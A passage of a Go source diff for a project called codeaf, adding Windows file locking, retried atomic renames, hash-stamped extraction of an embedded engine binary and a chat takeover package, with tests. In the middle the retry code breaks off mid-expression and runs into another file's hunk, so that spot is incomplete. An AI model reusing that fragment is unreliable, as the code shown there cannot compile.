seat's refusal was swallowed") + } + if len(seen.names) != 0 { + t.Fatalf("observed %v for a call that did not run", seen.names) + } +} + +type whole struct { + lines [][]string + exits []int +} + +func (w *whole) Observe(req ExecRequest, res ExecResult) { + w.lines = append(w.lines, req.Argv) + w.exits = append(w.exits, res.Exit) +} + +func TestAShellCallTellsTheObserverEachCommandWithAllItsWordsAndTheCallsOutcome(t *testing.T) { + seen := &whole{} + seat := Watching(plainSeat{}, seen) + run := func(failed bool) func() ([]byte, bool) { return func() ([]byte, bool) { return nil, failed } } + if err := seat.Around(context.Background(), shellCall("FOO=1 docker compose up -d && 'ls' -la"), run(false)); err != nil { + t.Fatal(err) + } + if err := seat.Around(context.Background(), shellCall("make"), run(true)); err != nil { + t.Fatal(err) + } + want := [][]string{{"docker", "compose", "up", "-d"}, {"ls", "-la"}, {"make"}} + if !reflect.DeepEqual(seen.lines, want) || !reflect.DeepEqual(seen.exits, []int{0, 0, 1}) { + t.Fatalf("observed %v with exits %v", seen.lines, seen.exits) + } +} + +// A shell tool starts its process through Command, so a server it leaves behind +// reaches the observer only through the groups the call reported starting. + +type observerFunc func(ExecRequest, ExecResult) + +func (f observerFunc) Observe(req ExecRequest, res ExecResult) { f(req, res) } diff --git a/internal/executor/watched_unix_test.go b/internal/executor/watched_unix_test.go new file mode 100644 index 0000000000..5ce4d860d2 --- /dev/null +++ b/internal/executor/watched_unix_test.go @@ -0,0 +1,36 @@ +//go:build !windows + +// K6 keeps Unix process, lock and mode assertions on the systems that provide them. +package executor + +import ( + "context" + "os/exec" + "syscall" + "testing" +) + +func TestAShellCallTellsTheObserverWhatItLeftRunning(t *testing.T) { + var got []ExecResult + seat := Watching(plainSeat{}, observerFunc(func(_ ExecRequest, res ExecResult) { got = append(got, res) })) + ctx, spawns := WithSpawns(context.Background()) + call := shellCall("sleep 30 &") + call.Spawns = spawns + err := seat.Around(ctx, call, func() ([]byte, bool) { + cmd := exec.Command("sleep", "30") + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL); _ = cmd.Wait() }) + Spawned(ctx, cmd.Process.Pid) + return nil, false + }) + if err != nil { + t.Fatal(err) + } + last := got[len(got)-1] + if len(last.Services) != 1 || last.Services[0].Name != "sleep" { + t.Fatalf("the left-running sleep was not observed: %+v", got) + } +} diff --git a/internal/filelock/contents_windows_test.go b/internal/filelock/contents_windows_test.go new file mode 100644 index 0000000000..40c1584693 --- /dev/null +++ b/internal/filelock/contents_windows_test.go @@ -0,0 +1,49 @@ +package filelock + +import ( + "os" + "path/filepath" + "testing" +) + +// TestK3LockCoordinatesWithoutLockingContents proves K3 on NTFS: holding the +// chat's lease excludes another holder while independent readers and appenders +// can still access its journal, as with advisory locks on Unix. +func TestK3LockCoordinatesWithoutLockingContents(t *testing.T) { + path := filepath.Join(t.TempDir(), "journal") + if err := os.WriteFile(path, []byte("first\n"), 0600); err != nil { + t.Fatal(err) + } + holder, err := os.OpenFile(path, os.O_RDWR, 0600) + if err != nil { + t.Fatal(err) + } + defer holder.Close() + if err := Lock(holder, true, true); err != nil { + t.Fatal(err) + } + defer Unlock(holder) + other, err := os.OpenFile(path, os.O_RDWR|os.O_APPEND, 0600) + if err != nil { + t.Fatal(err) + } + defer other.Close() + if err := Lock(other, true, true); !IsBusy(err) { + t.Fatalf("K3 competing holder = %v", err) + } + if got, err := os.ReadFile(path); err != nil || string(got) != "first\n" { + t.Fatalf("K3 lock blocked reader: %q %v", got, err) + } + if _, err := other.WriteString("second\n"); err != nil { + t.Fatalf("K3 lock blocked appender: %v", err) + } + if err := Unlock(holder); err != nil { + t.Fatal(err) + } + if err := Lock(other, true, true); err != nil { + t.Fatal(err) + } + if err := Unlock(other); err != nil { + t.Fatal(err) + } +} diff --git a/internal/filelock/filelock_windows.go b/internal/filelock/filelock_windows.go index 6af06a8f08..da3be90d9a 100644 --- a/internal/filelock/filelock_windows.go +++ b/internal/filelock/filelock_windows.go @@ -9,8 +9,10 @@ import ( "golang.org/x/sys/windows" ) -// LockFileEx is range based. Every codeaf lock uses the same first byte, which -// gives Windows the same whole-lock-file coordination contract as flock. +// LockFileEx is mandatory, so locking content bytes would prevent independent +// journal readers and appenders from working while a chat is held. Coordinate +// over one reserved byte beyond any file content instead (K3); every lock and +// unlock uses this same range, preserving shared/exclusive holder exclusion. func Lock(file *os.File, exclusive, nonBlocking bool) error { var flags uint32 if exclusive { @@ -19,15 +21,19 @@ func Lock(file *os.File, exclusive, nonBlocking bool) error { if nonBlocking { flags |= windows.LOCKFILE_FAIL_IMMEDIATELY } - var overlapped windows.Overlapped + overlapped := lockRange() return windows.LockFileEx(windows.Handle(file.Fd()), flags, 0, 1, 0, &overlapped) } func Unlock(file *os.File) error { - var overlapped windows.Overlapped + overlapped := lockRange() return windows.UnlockFileEx(windows.Handle(file.Fd()), 0, 1, 0, &overlapped) } func IsBusy(err error) bool { return errors.Is(err, windows.ERROR_LOCK_VIOLATION) || errors.Is(err, windows.ERROR_IO_PENDING) } + +// lockRange reserves a byte at 2^62; NTFS supports locks beyond end-of-file. +// This does not extend the file or prevent its contents from being read. +func lockRange() windows.Overlapped { return windows.Overlapped{OffsetHigh: 1 << 30} } diff --git a/internal/fsreplace/rename.go b/internal/fsreplace/rename.go new file mode 100644 index 0000000000..607968e342 --- /dev/null +++ b/internal/fsreplace/rename.go @@ -0,0 +1,11 @@ +// Package fsreplace keeps replacement atomic while allowing Windows editors and +// antivirus scanners a bounded time to release a destination (K3). +package fsreplace + +import "os" + +// Rename preserves os.Rename's semantics, retrying only transient Windows locks. +// It never removes the destination to make a replacement succeed. +func Rename(old, new string) error { + return Retry(func() error { return os.Rename(old, new) }) +} diff --git a/internal/fsreplace/rename_test.go b/internal/fsreplace/rename_test.go new file mode 100644 index 0000000000..0c36efe59f --- /dev/null +++ b/internal/fsreplace/rename_test.go @@ -0,0 +1,29 @@ +package fsreplace + +import ( + "os" + "path/filepath" + "testing" +) + +// TestK3ReplacementKeepsTheDestinationUntilSuccess proves K3 without a remove +// window: success replaces the bytes; a failed source leaves them untouched. +func TestK3ReplacementKeepsTheDestinationUntilSuccess(t *testing.T) { + dir := t.TempDir() + from, to := filepath.Join(dir, "from"), filepath.Join(dir, "to") + if err := os.WriteFile(from, []byte("new"), 0600); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(to, []byte("old"), 0600); err != nil { + t.Fatal(err) + } + if err := Rename(from, to); err != nil { + t.Fatal(err) + } + if err := Rename(from, to); err == nil { + t.Fatal("missing source succeeded") + } + if got, err := os.ReadFile(to); err != nil || string(got) != "new" { + t.Fatalf("destination = %q, %v", got, err) + } +} diff --git a/internal/fsreplace/rename_windows_test.go b/internal/fsreplace/rename_windows_test.go new file mode 100644 index 0000000000..1bfb58e581 --- /dev/null +++ b/internal/fsreplace/rename_windows_test.go @@ -0,0 +1,44 @@ +package fsreplace + +import ( + "golang.org/x/sys/windows" + "os" + "path/filepath" + "testing" +) + +// TestK3WindowsEditorLockRetries proves K3 against an actual NTFS handle that +// denies deletion. The third failed attempt releases it deterministically. +func TestK3WindowsEditorLockRetries(t *testing.T) { + dir := t.TempDir() + from, to := filepath.Join(dir, "from"), filepath.Join(dir, "to") + for _, p := range []string{from, to} { + if err := os.WriteFile(p, []byte(p), 0600); err != nil { + t.Fatal(err) + } + } + name, err := windows.UTF16PtrFromString(to) + if err != nil { + t.Fatal(err) + } + handle, err := windows.CreateFile(name, windows.GENERIC_READ, windows.FILE_SHARE_READ, nil, windows.OPEN_EXISTING, 0, 0) + if err != nil { + t.Fatal(err) + } + defer windows.CloseHandle(handle) + attempts := 0 + err = Retry(func() error { + attempts++ + err := os.Rename(from, to) + if attempts == 3 { + if err == nil { + t.Fatal("replacement ignored editor handle") + } + windows.CloseHandle(handle) + } + return err + }) + if err != nil || attempts != 4 { + t.Fatalf("replacement: attempts=%d err=%v", attempts, err) + } +} diff --git a/internal/fsreplace/retry_unix.go b/internal/fsreplace/retry_unix.go new file mode 100644 index 0000000000..fc7cdc3d13 --- /dev/null +++ b/internal/fsreplace/retry_unix.go @@ -0,0 +1,6 @@ +//go:build !windows + +package fsreplace + +// Retry leaves Unix operations byte-for-byte unchanged (I0/K3). +func Retry(operation func() error) error { return operation() } diff --git a/internal/fsreplace/retry_windows.go b/internal/fsreplace/retry_windows.go new file mode 100644 index 0000000000..7b7e5d0621 --- /dev/null +++ b/internal/fsreplace/retry_windows.go @@ -0,0 +1,24 @@ +package fsreplace + +import ( + "errors" + "golang.org/x/sys/windows" + "time" +) + +// Retry waits at most 630 ms for transient locks. A missing source, invalid +// name or permanent error is returned immediately; retrying never deletes data. +func Retry(operation func() error) error { + var err error + for attempt := 0; ; attempt++ { + err = operation() + if err == nil || attempt == 6 || !transient(err) { + return err + } + time.Sleep(time.Duration(10< 0 { + if installed(path) { return path, nil } @@ -170,6 +182,29 @@ func extractInto(dir, version string, archive []byte) (string, error) { return path, nil } +// installed says the file at path is a complete furrow: an ordinary, +// executable, non-empty file. +func installed(path string) bool { + info, err := os.Stat(path) + return err == nil && info.Mode().IsRegular() && (runtime.GOOS == "windows" || info.Mode().Perm()&0o111 != 0) && info.Size() > 0 +} + +// installPath is the one place the extracted file's name is decided: +// furrow--. The stamp is hashed from the embedded archive +// bytes, which Ensure reads once per process, never from the extracted file. +func installPath(dir, version string, archive []byte) string { + return filepath.Join(dir, "furrow-"+version+"-"+stamp(archive)+executableSuffix()) +} + +// stamp is the first twelve hex digits of the archive's sha256: enough that two +// engines never share a name, short enough to read in a directory listing. +func stamp(archive []byte) string { + sum := sha256.Sum256(archive) + return hex.EncodeToString(sum[:])[:stampLength] +} + +const stampLength = 12 + // decompress inflates the staged archive. It is a plain gzip stream of the // artifact's own bytes and nothing else — no container format, because there is // exactly one file in it and a format would be a second thing to keep in step. @@ -210,3 +245,11 @@ func Compress(binary []byte) ([]byte, error) { // The build needs it for a platform it is cross-compiling to, which is why it // takes the platform rather than reading runtime's. func StagedFileName(platform string) string { return "furrow-" + platform + ".gz" } + +// executableSuffix lets Windows execute the extracted engine directly (K1). +func executableSuffix() string { + if runtime.GOOS == "windows" { + return ".exe" + } + return "" +} diff --git a/internal/furrowbin/furrowbin_test.go b/internal/furrowbin/furrowbin_test.go index 274fe5aecd..69d62f01c7 100644 --- a/internal/furrowbin/furrowbin_test.go +++ b/internal/furrowbin/furrowbin_test.go @@ -8,7 +8,6 @@ import ( "regexp" "runtime" "strings" - "sync" "testing" ) @@ -30,7 +29,7 @@ func TestAFreshStateRootGetsTheBinaryStampedWithItsVersion(t *testing.T) { if err != nil { t.Fatalf("extract into a fresh root: %v", err) } - if want := filepath.Join(dir, "furrow-1.2.3"); path != want { + if want := installPath(dir, "1.2.3", archiveOf(t, "I am furrow")); path != want { t.Fatalf("extracted to %s; want %s — the name carries the version or an upgrade overwrites a running binary", path, want) } @@ -46,7 +45,7 @@ func TestAFreshStateRootGetsTheBinaryStampedWithItsVersion(t *testing.T) { if err != nil { t.Fatalf("stat what was extracted: %v", err) } - if info.Mode().Perm()&0o111 == 0 { + if runtime.GOOS != "windows" && info.Mode().Perm()&0o111 == 0 { t.Fatalf("extracted furrow has mode %v; a binary codeaf cannot execute is a binary it did not extract", info.Mode()) } @@ -64,7 +63,7 @@ func TestAFreshStateRootGetsTheBinaryStampedWithItsVersion(t *testing.T) { func TestTheVERSIONALREADYTHEREIsLeftExactlyAsItIs(t *testing.T) { dir := t.TempDir() - path := filepath.Join(dir, "furrow-1.2.3") + path := installPath(dir, "1.2.3", archiveOf(t, "different bytes entirely")) if err := os.WriteFile(path, []byte("the furrow that is already here"), 0o755); err != nil { t.Fatal(err) } @@ -124,7 +123,11 @@ func TestAnOlderVersionIsLeftBesideTheNewOneAndNeverWrittenOver(t *testing.T) { } } +// K1 preserves the Unix refusal test; Windows account permissions do not follow Chmod. func TestAStateRootThatCannotBeWrittenToIsAnErrorAndNotAHalfBinary(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("Windows uses account permissions instead of Unix mode bits") + } if os.Geteuid() == 0 { t.Skip("root writes into a read-only directory, so there is nothing to refuse") } @@ -163,7 +166,7 @@ func TestEnsureAgreesWithWhatThisBuildActuallyCarries(t *testing.T) { // branches on; a build after `make furrow` carries the real furrow and must // put it under the state root and nowhere else. t.Setenv("CODEAF_HOME", t.TempDir()) - ensureOnce = sync.Once{} + forgetEnsured() path, err := Ensure() if !Embedded() { @@ -175,8 +178,8 @@ func TestEnsureAgreesWithWhatThisBuildActuallyCarries(t *testing.T) { if err != nil { t.Fatalf("a build carrying furrow could not extract it: %v", err) } - if base := filepath.Base(path); base != "furrow-"+Version() { - t.Fatalf("extracted as %s; want furrow-%s, the version the pin names", base, Version()) + if base := filepath.Base(path); !strings.HasPrefix(base, "furrow-"+Version()+"-") { + t.Fatalf("extracted as %s; want furrow-%s-, the version the pin names", base, Version()) } info, err := os.Stat(path) if err != nil { @@ -187,6 +190,35 @@ func TestEnsureAgreesWithWhatThisBuildActuallyCarries(t *testing.T) { } } +// forgetEnsured drops the remembered path, the way a fresh process starts. +func forgetEnsured() { + ensureMu.Lock() + defer ensureMu.Unlock() + ensurePath = "" +} + +func TestEnsureReextractsWhenTheRememberedFileIsGone(t *testing.T) { + if !Embedded() { + t.Skip("this build carries no furrow") + } + t.Setenv("CODEAF_HOME", t.TempDir()) + forgetEnsured() + first, err := Ensure() + if err != nil { + t.Fatal(err) + } + if err := os.Remove(first); err != nil { + t.Fatal(err) + } + second, err := Ensure() + if err != nil { + t.Fatalf("a removed engine was not put back: %v", err) + } + if !installed(second) { + t.Fatalf("Ensure answered %s, which is not a runnable file", second) + } +} + func TestTheStagedNameIsThisMachinesAndNoOthers(t *testing.T) { // The whole reason the staged file carries a platform is that a cache left // over from a cross-compile must read as "nothing embedded" rather than as @@ -240,3 +272,57 @@ func TestThePinIsWholeAndIsTheOnlyPlaceTheVersionIsWritten(t *testing.T) { t.Fatal("a platform with no artifact answered happily; the build must refuse it by name") } } + +func TestDifferentArchivesExtractToDifferentPaths(t *testing.T) { + dir := t.TempDir() + old, err := extractInto(dir, "1.2.3", archiveOf(t, "old engine")) + if err != nil { + t.Fatal(err) + } + fresh, err := extractInto(dir, "1.2.3", archiveOf(t, "new engine")) + if err != nil { + t.Fatal(err) + } + if old == fresh { + t.Fatal("two engines with one version shared a path; the old one would run forever") + } + if body, _ := os.ReadFile(fresh); string(body) != "new engine" { + t.Fatalf("the new path holds %q", body) + } +} + +func TestTheSameArchiveTwiceIsNotRewritten(t *testing.T) { + dir := t.TempDir() + archive := archiveOf(t, "one engine") + path, err := extractInto(dir, "1.2.3", archive) + if err != nil { + t.Fatal(err) + } + before, _ := os.Stat(path) + again, err := extractInto(dir, "1.2.3", archive) + if err != nil || again != path { + t.Fatalf("second extract gave %q, %v; want %q", again, err, path) + } + after, _ := os.Stat(path) + if !os.SameFile(before, after) || !before.ModTime().Equal(after.ModTime()) { + t.Fatal("the same archive was written twice") + } +} + +func TestAStaleFileAtTheUnstampedNameIsIgnored(t *testing.T) { + dir := t.TempDir() + stale := filepath.Join(dir, "furrow-1.2.3") + if err := os.WriteFile(stale, []byte("old engine"), 0o755); err != nil { + t.Fatal(err) + } + path, err := extractInto(dir, "1.2.3", archiveOf(t, "new engine")) + if err != nil { + t.Fatal(err) + } + if path == stale { + t.Fatal("the stale unstamped furrow was trusted") + } + if body, _ := os.ReadFile(path); string(body) != "new engine" { + t.Fatalf("ran %q; want the embedded engine", body) + } +} diff --git a/internal/furrowbin/native_windows_test.go b/internal/furrowbin/native_windows_test.go new file mode 100644 index 0000000000..ef9942b5e4 --- /dev/null +++ b/internal/furrowbin/native_windows_test.go @@ -0,0 +1,76 @@ +package furrowbin + +import ( + "context" + "github.com/Agent-Field/codeaf/internal/env" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" +) + +// TestK1NativeExtractionAndProbe proves K1 without relying on executable mode +// bits: the engine has a Windows suffix, runs directly, and advertises timelines. +func TestK1NativeExtractionAndProbe(t *testing.T) { + bin, configured, err := ConfiguredBinary() + if err != nil || !configured { + t.Fatalf("K1 needs the runner's native engine: %v", err) + } + data, err := os.ReadFile(bin) + if err != nil { + t.Fatal(err) + } + archive, err := Compress(data) + if err != nil { + t.Fatal(err) + } + path, err := extractInto(t.TempDir(), "k1", archive) + if err != nil { + t.Fatal(err) + } + if filepath.Ext(path) != ".exe" || !installed(path) { + t.Fatalf("K1 invalid extracted engine %q", path) + } + if !probeCells(path) { + t.Fatal("K1 native engine did not satisfy the timeline probe") + } +} + +// TestK1ShippedWindowsBinaryExtractsItsEngine proves K1 through the built CLI, +// with no explicit engine override. The native runner stages this artifact for +// release acceptance; ordinary source checkouts have no candidate to run. +func TestK1ShippedWindowsBinaryExtractsItsEngine(t *testing.T) { + candidate := filepath.Join("..", "..", ".wintest", "codeaf-embedded.exe") + data, err := os.ReadFile(candidate) + if os.IsNotExist(err) { + t.Skip("K1 shipped-binary check needs make build's Windows artifact") + } + if err != nil { + t.Fatal(err) + } + dir := t.TempDir() + executable := filepath.Join(dir, "codeaf.exe") + if err := os.WriteFile(executable, data, 0600); err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + defer cancel() + command := exec.CommandContext(ctx, executable, "identity", "show") //codeaf:plumbing K1 exercises the shipped native capability door. + command.Env = append(os.Environ(), "CODEAF_HOME="+dir, "CODEAF_FURROW=", env.Legacy("CODEAF_FURROW")+"=", "CODEAF_SYNC_URL=off") + output, err := command.CombinedOutput() + if err != nil { + t.Fatalf("K1 embedded engine identity door: %v: %s", err, output) + } + if !strings.Contains(string(output), "fingerprint") { + t.Fatalf("K1 identity door did not run: %s", output) + } + engines, err := filepath.Glob(filepath.Join(dir, "bin", "furrow-*.exe")) + if err != nil || len(engines) != 1 { + t.Fatalf("K1 extracted engines: %v %v", engines, err) + } + if !probeCells(engines[0]) { + t.Fatal("K1 embedded engine lacks timelines") + } +} diff --git a/internal/furrowbin/pin.go b/internal/furrowbin/pin.go index cad877c9db..c79844378c 100644 --- a/internal/furrowbin/pin.go +++ b/internal/furrowbin/pin.go @@ -99,3 +99,19 @@ func (p Pin) ArtifactFor(platform string) (Artifact, error) { func (p Pin) DownloadURL(artifact Artifact) string { return fmt.Sprintf("https://github.com/%s/releases/download/%s/%s", p.Repository, p.Tag, artifact.Asset) } + +// Windows release assets are furrow-windows-amd64.exe and +// furrow-windows-arm64.exe, matching the engine release workflow (K1). +// TODO(K1): The driver must add both v0.2.0 Windows assets and their real +// SHA256SUMS to pin.json after that release is tagged. Missing pins stay absent; +// developer builds can stage the reviewed candidate through FURROW_ARTIFACT. + +// AssetName is the release workflow's spelling, also before a pin is published +// so offline build instructions name the native Windows executable (K1). +func AssetName(platform string) string { + name := "furrow-" + platform + if platform == Platform("windows", "amd64") || platform == Platform("windows", "arm64") { + name += ".exe" + } + return name +} diff --git a/internal/handoff/arrival.go b/internal/handoff/arrival.go new file mode 100644 index 0000000000..a20a47ccd9 --- /dev/null +++ b/internal/handoff/arrival.go @@ -0,0 +1,59 @@ +package handoff + +import ( + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/filelock" +) + +// arrivalOf is the file a takeover holds a lock on while the chat at root is on +// its way here. It sits beside the root and not inside it, because the root is +// replaced whole by the takeover. +func arrivalOf(root string) string { return root + ".arriving" } + +// Arrive says the chat at root is being taken over on this machine, until the +// returned release runs. It is what keeps a window from opening the chat in the +// middle of its own takeover: a session booted then reads the journal as it was +// before the swap and keeps writing to the folder that is about to be replaced, +// and the window the person lands in is bound to a chat that has already moved +// on (every tool call refused as `continued elsewhere`, no turn saved). +// +// THE CLAIM IS A LOCK AND NOT A MARKER FILE, so a takeover that dies leaves +// nothing behind: the kernel drops the lock with the process, and the chat opens +// again without anyone cleaning up. A claim that cannot be made says nothing +// stops the takeover; it only runs without the fence, as it did before. +func Arrive(root string) (release func()) { + path := arrivalOf(root) + if os.MkdirAll(filepath.Dir(path), 0o700) != nil { + return func() {} + } + file, err := os.OpenFile(path, os.O_CREATE|os.O_RDWR, 0o600) + if err != nil { + return func() {} + } + if filelock.Lock(file, true, true) != nil { + _ = file.Close() + return func() {} + } + return func() { + _ = os.Remove(path) + _ = filelock.Unlock(file) + _ = file.Close() + } +} + +// Arriving says a takeover of the chat at root is running now, in this process +// or another one. It is asked by whatever opens a session on the chat. +func Arriving(root string) bool { + file, err := os.Open(arrivalOf(root)) + if err != nil { + return false + } + defer file.Close() + if err := filelock.Lock(file, true, true); err != nil { + return filelock.IsBusy(err) + } + _ = filelock.Unlock(file) + return false +} diff --git a/internal/handoff/arrival_test.go b/internal/handoff/arrival_test.go new file mode 100644 index 0000000000..6c7ef468ac --- /dev/null +++ b/internal/handoff/arrival_test.go @@ -0,0 +1,33 @@ +package handoff + +import ( + "os" + "path/filepath" + "testing" +) + +func TestAChatArrivesOnlyWhileATakeoverHoldsIt(t *testing.T) { + root := filepath.Join(t.TempDir(), "chat") + if Arriving(root) { + t.Fatal("a chat nobody is taking is arriving") + } + release := Arrive(root) + if !Arriving(root) { + t.Fatal("a chat being taken is not arriving") + } + release() + if Arriving(root) { + t.Fatal("a chat whose takeover ended is still arriving") + } +} + +// A takeover that died leaves its file but not its lock, so the chat opens. +func TestAFileLeftByADeadTakeoverFencesNothing(t *testing.T) { + root := filepath.Join(t.TempDir(), "chat") + if err := os.WriteFile(arrivalOf(root), nil, 0o600); err != nil { + t.Fatal(err) + } + if Arriving(root) { + t.Fatal("a file with no lock on it fences the chat") + } +} diff --git a/internal/handoff/contract_regression_test.go b/internal/handoff/contract_regression_test.go new file mode 100644 index 0000000000..bcc970962b --- /dev/null +++ b/internal/handoff/contract_regression_test.go @@ -0,0 +1,48 @@ +package handoff + +import ( + "context" + "errors" + "testing" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// TestC7ConcurrentForcedTakesHaveOneWinner proves C7: moving a chat preserves its history and its single holder. +func TestC7ConcurrentForcedTakesHaveOneWinner(t *testing.T) { + w := newWorld(t) + a, b, c := w.device(devA), w.device(devB), w.device("dev_c") + a.start(map[string]string{"a.txt": "one"}) + cWon := false + b.onFetc = func() { + if cWon { + return + } + cWon = true + taken, err := c.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + t.Logf("C successfully took active A at fence %d", taken.Driving.Fence) + } + taken, err := b.taker().Take(context.Background(), chatID) + if !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("B must lose after C wins; B got fence=%d error=%v, final holder=%s", taken.Driving.Fence, err, w.cellRec(chatID).Lease.Device) + } +} + +// TestC7CardCannotDisplaceAHolderThatArrivedBeforeConfirmation proves C7: +// consent to move A's chat does not authorize displacing C's later lease. +func TestC7CardCannotDisplaceAHolderThatArrivedBeforeConfirmation(t *testing.T) { + w := newWorld(t) + a, b, c := w.device(devA), w.device(devB), w.device("dev_c") + a.start(map[string]string{"a.txt": "one"}) + old := w.cellRec(chatID).Lease + if _, err := c.taker().Take(context.Background(), chatID); err != nil { + t.Fatal(err) + } + _, err := b.taker().TakeSeen(context.Background(), chatID, &directory.LeaseExpectation{Device: old.Device, Fence: old.Fence}) + if !errors.Is(err, directory.ErrLeaseHeld) || w.cellRec(chatID).Lease.Device != "dev_c" { + t.Fatalf("stale card changed holder: %v, %+v", err, w.cellRec(chatID).Lease) + } +} diff --git a/internal/handoff/handoff.go b/internal/handoff/handoff.go new file mode 100644 index 0000000000..a87c846f0d --- /dev/null +++ b/internal/handoff/handoff.go @@ -0,0 +1,314 @@ +// Package handoff is the takeover: one device continues a chat another device +// was driving. Its one promise is that a takeover never destroys work: local +// edits that were never sealed are sealed and kept in a branch before anything +// is fetched, a lease is taken only once everything it needs is on disk, and +// the fetched tree reaches the chat's root only once the lease is held, so a +// lost race leaves nothing behind. +package handoff + +import ( + "context" + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "os" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// Fetch brings a head and everything it needs onto this device. +type Fetch interface { + // Fetch completes head in the store and restores it into c's tree. + Fetch(ctx context.Context, c cell.Cell, head string) error // *cellsync.Fetcher + // Complete is Fetch without the restore: the store holds everything head + // needs and no tree is touched. + Complete(ctx context.Context, c cell.Cell, head string) error +} + +// Local is what the taking device knows about a copy of the cell it already +// has on disk (A taking a chat back from B, or a workspace the person owns). +type Local interface { + // Dirty says whether the tree differs from the local head. + Dirty(ctx context.Context, c cell.Cell) (bool, error) + // Unpublished returns the local head and count of sealed turns that have + // not reached the directory, even when the working tree is clean. + Unpublished(c cell.Cell, remoteHead string) (head string, turns uint32, err error) + // Seal seals the tree as a local turn. + Seal(ctx context.Context, c cell.Cell) (head string, turns uint32, err error) + // Follow says the tree restored at from was moved to be the tree of to. The + // engine knows a tree by its path, so a tree moved into place unannounced + // is one it has never heard of, and cannot tell whether it holds edits. + Follow(ctx context.Context, from, to cell.Cell) error +} + +// Taker continues a chat on this device. +type Taker struct { + Dir directory.Client + Fetch Fetch + Local Local + // Branch turns sealed local work into a cell of its own; it is + // cellsync.Brancher.Branch, which uploads the head's objects first. Its + // Brancher must run with Map nil: the chat being taken keeps its id, and + // only the kept edits live in the branch, so no old-id to new-id mapping + // may be recorded. + Branch func(ctx context.Context, from *cellsync.Driving, head string, turns uint32) (string, error) + // InPlace says the tree of the chat at c's root is a folder the person owns + // (their project), which is never renamed or replaced: editors and git hold + // it open. Such a chat gets the fetched head restored into the folder where + // it stands, after the lease is ours. Nil, or false, is a chat that lives in + // a copy, which is replaced whole. + InPlace func(c cell.Cell) bool + // RootFor is where this device keeps the cell. The takeover materializes + // beside it and moves the result into place once the lease is held. + RootFor func(id string) string + // After hooks run in order once the tree is on disk, for example + // vaultsync.Inject. Each may refuse the takeover. + After []func(ctx context.Context, c cell.Cell) error +} + +// Taken is a chat this device now drives. +type Taken struct { + Cell cell.Cell + Driving cellsync.Driving + // Kept is the id of the branch holding local edits, "" when there were none. + Kept string +} + +// Take makes this device the driver of chat id. The order is fixed: the +// directory's record, then keep local edits, then fetch into a staging folder, +// then the lease, then (only if the head moved meanwhile) one more fetch, then +// the staging folder becomes the root, then the After hooks, then open. Fetch +// precedes acquire, so a failed fetch never takes a lease, and the root +// changes only after the acquire, so a lost race (directory.ErrLeaseHeld) +// leaves nothing on disk beyond the kept branch. A person who chose to continue +// a chat that was running elsewhere has chosen to displace its holder, so that +// lease is taken by force; a holder that appears meanwhile is a lost race. +func (t Taker) Take(ctx context.Context, id string) (Taken, error) { + return t.TakeSeen(ctx, id, nil) +} + +// TakeSeen continues the lease the person saw on the card. Older callers +// without that reading still bind the claim to the record read before fetch. +func (t Taker) TakeSeen(ctx context.Context, id string, seen *directory.LeaseExpectation) (Taken, error) { + view, err := t.Dir.Cell(ctx, id) + if err != nil { + return Taken{}, fmt.Errorf("handoff: read chat %s: %w", id, err) + } + if seen != nil && (view.Cell.Lease.Device != seen.Device || view.Cell.Lease.Fence != seen.Fence) { + return Taken{}, directory.ErrLeaseHeld + } + c := cell.Cell{ID: id, Root: t.RootFor(id)} + kept, err := t.keepLocal(ctx, c, view.Cell.Head, view.Cell.Frames) + if err != nil { + return Taken{}, err + } + head, fence, plan, err := t.claim(ctx, c, view.Cell.Head, displacing(view)) + if err != nil { + return Taken{}, err + } + opened, err := t.open(ctx, c, fence) + if err != nil { + return Taken{}, err + } + // The plan is the acquired record's: the record read before the claim can + // trail a publish that landed during the fetch, and the next publish + // replaces the plan wholesale (contract §22.2). + return Taken{Cell: opened, Driving: cellsync.Driving{Cell: opened, Fence: fence, Head: head, Frames: plan}, Kept: kept}, nil +} + +// displacing is the acquire the person's choice covers: they saw the chat's +// lease held by a live holder, so they may take it from that holder, and only +// from that one. +func displacing(v directory.CellView) directory.AcquireOpts { + return directory.AcquireOpts{ + RequireConditional: true, + Force: v.Cell.Lease.Expires > v.Now, + Expect: &directory.LeaseExpectation{Device: v.Cell.Lease.Device, Fence: v.Cell.Lease.Fence}, + } +} + +// keepLocal seals unsealed local work onto a branch before any fetch. It +// answers the branch id, or "" when the root is absent or clean. The +// branch's Driving starts from the parent record's plan: the branch head's +// closure is the parent's plus the orphan turns, whose frames the branch's +// own upload adds. +func (t Taker) keepLocal(ctx context.Context, c cell.Cell, parentHead string, plan []string) (string, error) { + if !exists(c.Root) { + return "", nil + } + head, turns, err := t.Local.Unpublished(c, parentHead) + if err != nil { + return "", err + } + dirty, err := t.Local.Dirty(ctx, c) + if err != nil { + return "", err + } + if dirty { + sealed, added, err := t.Local.Seal(ctx, c) + if err != nil { + return "", fmt.Errorf("handoff: seal local edits of %s: %w", c.ID, err) + } + head, turns = sealed, turns+added + } + if head == "" { + return "", nil + } + from := &cellsync.Driving{Cell: c, Head: parentHead, Frames: plan} + kept, err := t.Branch(ctx, from, head, turns) + if err != nil { + return "", fmt.Errorf("handoff: keep local edits of %s: %w", c.ID, err) + } + return kept, nil +} + +// claim fetches head into the staging folder, takes the lease, fetches again +// if the head moved while the fetch ran, and only then puts the staging folder +// in place of c's root. It answers the head that is on disk and the fence. The +// staging folder never outlives a failed claim. +func (t Taker) claim(ctx context.Context, c cell.Cell, head string, how directory.AcquireOpts) (string, uint64, []string, error) { + stage := cell.Cell{ID: c.ID, Root: stagingOf(c.Root)} + head, fence, plan, err := t.fetchAndAcquire(ctx, stage, c.Root, head, how) + if err == nil { + if err = t.install(ctx, stage, c, head); err != nil { + err = t.giveBack(ctx, c.ID, fence, 